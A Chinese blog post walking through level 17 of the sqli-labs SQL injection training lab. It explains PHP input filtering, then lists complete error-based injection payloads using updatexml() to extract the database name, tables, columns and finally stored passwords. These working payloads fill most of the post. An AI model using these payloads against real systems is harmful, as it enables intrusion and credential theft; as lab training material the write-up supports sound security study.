zoukankan      html  css  js  c++  java
  • Less(17)POST

    1.这题也没有错误回显,但是要求确实是“基于错误更新查询”,查一下php文件:

      

       显然,这里对uname做了check_input的处理,check_input()函数如下,看看是怎么处理的:

      

       只截取15个字节

      get_magin_quoter_gpc()

      当magin_quoter_gpc()=On的时候,函数get_magic_quotes_gpc()就会返回1

      当magin_quoter_gpc()=Off的时候,函数get_magic_quotes_gpc()就会返回0

      magin_quoter_gpc函数在php中的作用是判断解析用户提示数据,如包括有:post、get、cookie过来的数据增加转义字符"/",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

      在magin_quoter_gpc=On的情况下,如果输入的数据有:

      单引号(')、双引号(")、反斜杠()与NULL(NULL字符)等字符,都会加上反斜杠。

      stripslashes()删除addslashes()函数添加的反斜杠

      ctype_digit()判断是不是数字,是数字就会返回true,否则返回false

      mysql_real_escape_string()转义SQL语句中使用的字符串中的特殊字符

      intval() 整形转换

    2.对password爆破:

      (1)使用updatexml(),它和extractvaule()是亲兄弟,以下测试version()返回mysql版本:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)--+ &submit=Submit

        

         (2)爆库:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ &submit=Submit

        

      (3)爆表:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ &submit=Submit

        

      (4)爆列名:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and  column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')),0x7e),1)--+ &submit=Submit

        

      (5)爆值:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+ &submit=Submit

        

         发现不行,加一层select试试:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from users where username='admin'))),1)--+ &submit=Submit

        

         查了一下加个名,就完事了,最终:uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from(select password from users where username='admin')mingzi),0x7e),1)--+ &submit=Submit

        

         也可以用:uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from(select password from users limit 7,1) text),0x7e),1)--+ &submit=Submit

         

  • 相关阅读:
    C#中虚方法与抽象方法的区别
    关于计算同一个用户购买日期间隔查询语句
    pandas 讲数据分组之后保留前N行方法
    关于Mysql隐式转化及注意事项与cast函数运用
    Mysql 去重
    记一个pandas 分组之后.head()返回的数据问题
    Failed to introspect Class xxxx
    golang 推荐学习记录
    Java内存区域
    Struts2中采用Json返回List对象数据为空解决方案
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12300508.html
Copyright © 2011-2022 走看看